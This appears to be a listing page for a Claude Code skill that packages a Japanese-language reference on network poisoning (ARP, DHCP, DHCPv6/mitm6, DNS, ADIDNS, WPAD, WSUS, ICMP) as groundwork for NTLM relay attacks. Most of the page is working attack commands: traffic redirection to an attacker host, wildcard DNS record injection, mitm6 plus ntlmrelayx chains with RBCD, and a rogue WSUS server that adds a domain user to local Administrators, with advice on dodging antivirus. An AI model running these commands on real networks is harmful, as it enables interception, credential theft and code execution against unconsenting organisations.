network-poisoning-attack について
セキュリティテスト担当者向けに、ARP、DHCP、DNS、WPAD などのネットワーク投毒手法をまとめたリファレンスです。各手法の前提条件と、NTLM リレーへの組み込み方を説明します。
主な機能
- 01ARP、DHCP、DHCPv6 の投毒
- 02DNS 偽装と ADIDNS 注入
- 03WPAD ハイジャックと WSUS 投毒
- 04手法の前提条件とリスク比較
- 05NTLM リレーの手順案内
活用シーン
- 01内部ネットワークでの投毒方法の評価
- 02NTLM リレーテスト用の前段手法の選定
- 03各投毒手法の手順の参照
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill network-poisoning-attackインストール後、Claude Code で/network-poisoning-attackを入力して読み込まれたか確認します。
同梱ファイルreferences/layer2-poisoning.mdreferences/name-resolution-poisoning.md
詳細
ネットワーク層のポイズニングとスプーフィング攻撃
ネットワーク層プロトコル(ARP、DHCP、DNS、WPAD など)を汚染して、中間者の位置を確保したり、認証を強制的に発生させたりすることは、NTLM relay 攻撃で最もよく使われる事前手順です。
実行条件
- 内部ネットワークで、ポイズニングによる認証情報の取得または中間者攻撃が必要
- NTLM relay の事前手順としてポイズニングが必要
- ARP/DHCP/DHCPv6/DNS/WPAD/WSUS のポイズニングが必要
前提条件
- 同一セグメントへの物理接続(ほとんどの手法で同じブロードキャストドメインが必要)
- ドメインユーザーの認証情報(ADIDNS の注入に必要)
- ツール:bettercap, Responder, mitm6, dnstool.py, Inveigh, pywsus, dnschef
技術選択の決定ツリー
网络位置与条件?
├── 同广播域
│ ├── 快速 MITM → ARP 投毒 (高检测风险)
│ ├── IPv6 未禁用 → DHCPv6/mitm6 (推荐)
│ ├── DHCP 环境 → DHCP 投毒
│ └── 被动监听 → LLMNR/NBT-NS (已有 → ntlm-relay-attack)
├── 域环境 + 域凭证
│ ├── ADIDNS 记录注入 (最稳定)
│ └── WPAD 劫持 (结合 ADIDNS/DHCPv6)
├── WSUS 使用 HTTP
│ └── WSUS 投毒
└── DNS 已控制
└── DNS 欺骗
技術比較表
| ポイズニング方式 | 前提条件 | 検知リスク | 適用シナリオ |
|---|---|---|---|
| ARP ポイズニング | 同じブロードキャストドメイン | 高(ARP の異常) | 即時効果が必要な迅速な MITM |
| DHCP ポイズニング | 同じブロードキャストドメイン | 中 | DNS/WPAD の持続的な注入 |
| DHCPv6/mitm6 | IPv6 が無効化されていない | 低 | 推奨。秘匿性の高い NTLM の取得 |
| DNS スプーフィング | DNS トラフィックを制御済み | 低 | ドメイン名のピンポイントなハイジャック |
| ADIDNS 注入 | ドメイン認証情報 | 極めて低 | 最も安定したドメインレベルの DNS ポイズニング |
| WPAD ハイジャック | 各方式を参照 | 中 | 認証を捕捉する透過プロキシ |
| WSUS ポイズニング | HTTP WSUS | 中 | コード実行(認証情報ではない) |
| ICMP リダイレクト | 同じセグメント | 低 | 最新の OS では無視されることが多い |
1. ARP ポイズニング
原理
ARP プロトコルには認証機構がありません。攻撃者は偽造した ARP 応答を送信し、自身の MAC アドレスをゲートウェイまたはターゲットの IP にひも付けて、トラフィックをハイジャックします。双方向(fullduplex)と片方向のポイズニングに分けられます。
主なコマンド
# bettercap 交互模式
bettercap -iface eth0
# 单向投毒(仅欺骗目标,让目标流量经过攻击者)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false
arp.spoof on
# 双向投毒(同时欺骗目标和网关)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.fullduplex true
arp.spoof on
# 开启 IP 转发(Linux)
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT
SMB のシナリオ:any.proxy で攻撃者の 445 にリダイレクト
# 将目标发往 $SERVER_IP:445 的流量重定向到攻击者
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy on
IP スプーフィングによる回避(SNAT/DNAT)
# 当目标检查源 IP 时,需要 iptables NAT 伪装
iptables -t nat -A PREROUTING -p tcp -d $SERVER_IP --dport 445 -j DNAT --to-destination $ATTACKER_IP:445
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP --dport 445 -j SNAT --to-source $SERVER_IP
リレーとの連携
ARP ポイズニングで MITM の位置を確保した後、any.proxy を使用して SMB/HTTP トラフィックを ntlmrelayx のリスニングポートにリダイレクトします。
2. DHCP ポイズニング
原理
Responder の DHCP モードでクライアントの DHCP リクエストに応答し、悪意のある DNS サーバーまたは WPAD 設定を注入します。効果は、クライアントの DHCP リースが期限切れになるか、再起動するまで持続します。
主なコマンド
# DNS 注入模式(注入 DNS + WPAD)
responder -I "eth0" -wPdD
# 仅 WPAD 注入
responder -I "eth0" -wPd
# -d: DHCP 响应中注入 DNS
# -D: DHCP 响应中注入 WPAD
# -w: 启动 WPAD rogue proxy
# -P: 强制 NTLM 认证(Proxy Auth)
リレーとの連携
# WPAD 注入 + ntlmrelayx 作为代理
ntlmrelayx.py -t $TARGET --http-port 3128
# Responder 将 WPAD 配置指向 $ATTACKER_IP:3128
3. DHCPv6/mitm6(推奨)
原理
Windows では IPv6 がデフォルトで有効になっており、IPv6 DNS が優先的に使用されます。mitm6 は DHCPv6 サーバーになりすましてターゲットに IPv6 DNS を割り当て、すべての DNS クエリを攻撃者に向けます。秘匿性が高く、IPv4 ネットワークには影響しません。
主なコマンド
# 启动 mitm6
mitm6 --interface eth0 --domain $DOMAIN
# 指定目标(减少影响范围)
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAME
bettercap による代替手段
set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
set dns.spoof.domains *.$DOMAIN
dns.spoof on
リレーとの連携
# 经典组合:mitm6 + ntlmrelayx
# 终端 1
mitm6 -d $DOMAIN
# 终端 2
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# -wh: 设置 WPAD 主机名,触发 HTTP 认证
# --delegate-access: 自动配置 RBCD
4. DNS スプーフィング
原理
MITM の位置(ARP ポイズニングなど)を確保した後、DNS 応答を傍受して改ざんし、ターゲットのドメイン名を攻撃者の IP に解決させます。事前にトラフィックをハイジャックする能力が必要です。
主なコマンド
# dnschef(独立 DNS 代理)
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53
# 指定域名
dnschef --fakedomains $DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP
# Responder 内置 DNS
responder -I "eth0"
# bettercap dns.spoof
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on
リレーとの連携
DNS スプーフィングで、ターゲットによる特定サービスへのアクセスを攻撃者にリダイレクトし、ntlmrelayx と組み合わせて認証リクエストを捕捉します。
5. ADIDNS レコードの注入
原理
Active Directory 統合 DNS(ADIDNS)では、デフォルトで任意のドメインユーザーが新しい DNS 子オブジェクトを作成できます。ワイルドカードレコード(*)を追加すると、明示的に定義されていないすべての DNS クエリを攻撃者の IP に解決させることができます。これは最も安定しており、検知リスクが最も低いポイズニング方式です。
主なコマンド
# 检查是否存在 WINS forward lookup(type 65281,会干扰通配符)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC
# 添加通配符记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
# 指定 DNS 分区(--legacy 用于旧 DNS 区域,--forest 用于森林级)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC
# 清理(务必在完成后执行)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC
Powermad による代替手段
# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加指定记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IP
Inveigh による自動化
# 自动 ADIDNS 注入 + 投毒
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# combo: 通配符 + NS 记录组合
# ADIDNSThreshold: 未解析查询达到阈值后才注入(降低误报)
リレーとの連携
ワイルドカードレコードにより、存在しないすべてのホスト名が攻撃者に解決されます。Responder/ntlmrelayx と組み合わせることで、認証を自動的に捕捉できます。
6. WPAD ハイジャック
原理
WPAD(Web Proxy Auto-Discovery)の名前解決経路は、DHCP Option 252 → DNS クエリ wpad.$DOMAIN → LLMNR/NBT-NS ブロードキャストです。いずれかの段階をハイジャックすれば、ターゲットに攻撃者のプロキシ経由でインターネットに接続させ、NTLM 認証を発生させることができます。
旧システム(MS16-077 未適用)
# LLMNR/NBT-NS 响应 WPAD 查询
responder -I "eth0" -wP
# -w: WPAD rogue proxy
# -P: 强制 Proxy NTLM 认证
新システム(GQBL bypass)
MS16-077 以降、WPAD はブロードキャストによる名前解決を行わないため、ADIDNS の注入による回避が必要です。
# 方式 1: 添加 wpad A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC
# 方式 2: 添加 NS 记录委派
# PowerShell NS 记录(将 wpad 子域委派到攻击者)
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 攻击者运行 dnschef 响应 wpad 查询
DHCPv6 方式
# 当 DNS 中 wpad 记录已存在但指向错误时
mitm6 --domain $DOMAIN
# mitm6 通过 DHCPv6 让目标使用攻击者 DNS,直接控制 wpad 解析
リレーとの連携
WPAD プロキシによって HTTP NTLM 認証が自動的に発生し、ntlmrelayx に直接転送されます。
7. WSUS ポイズニング
原理
WSUS(Windows Server Update Services)が HTTPS ではなく HTTP を使用している場合、攻撃者は MITM の位置で更新パッケージを差し替え、コードを実行できます。これは認証情報の取得ではなく、コード実行である点に注意してください。
WSUS の設定を確認する
# 远程查询(需要访问权限)
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
# 如果是 http:// 开头 → 可投毒
主なコマンド
# 启动恶意 WSUS 服务器
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
--executable /path/to/PsExec64.exe \
--command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'
bettercap によるトラフィックのリダイレクト
# ARP 投毒后重定向 WSUS 流量
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
any.proxy on
補足説明
- CVE-2020-1013:WSUS のローカル権限昇格の脆弱性。ローカルで悪用可能
- 更新チェックを実行する:
wuauclt /detectnow /updatenowまたはUsoClient StartScan - AV の検知を避けるため、LOLBin(PsExec64.exe などの署名付きバイナリ)の使用を推奨します
リレーとの連携
WSUS ポイズニングは主にコード実行に使用され、NTLM relay には直接連携しません。
8. ICMP リダイレクト
原理
ICMP Redirect メッセージは、より適切なルーティング経路をホストに通知します。攻撃者は ICMP Redirect を偽造して、ターゲットのトラフィックを自身にリダイレクトできます。ただし、最新の OS(Windows 10 以降、デフォルト設定の Linux など)の多くは ICMP Redirect を無視します。
主なコマンド
python3 tools/Icmp-Redirect.py \
--interface eth0 \
--ip $ATTACKER_IP \
--gateway $GATEWAY \
--target $TARGET \
--route $DNS_SERVER
実用性
限定的です。最新の OS ではデフォルトで ICMP Redirect が無効化または無視されるため、特定の古い環境でのみ有効です。
9. NBT Name Overwrite
原理
NetBIOS 名称の上書き攻撃では、NetBIOS Name Overwrite パケットを送信してターゲットの名前テーブルを変更し、特定の名前を攻撃者の IP に関連付けます。
現状
実際に利用できるツールは限られており、主に理論上の参考として扱われています。実践では、ADIDNS や DHCPv6 など、より信頼性の高い方式を優先してください。
組み合わせて利用する例
mitm6 + ntlmrelayx(最も一般的)
# 终端 1: DHCPv6 投毒
mitm6 -d $DOMAIN
# 终端 2: LDAP relay + RBCD
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
ADIDNS + Responder + relay
# Step 1: 注入通配符 DNS 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
# Step 2: 启动 Responder(关闭 SMB/HTTP)
responder -I eth0
# Step 3: 启动 ntlmrelayx
ntlmrelayx.py -t $TARGET -smb2support
詳細な参考資料
- → references/layer2-poisoning.md — ARP/DHCP/DHCPv6/ICMP ポイズニングの詳細なコマンドと設定
- → references/name-resolution-poisoning.md — ADIDNS/WPAD/WSUS/DNS スプーフィングの攻撃チェーン全体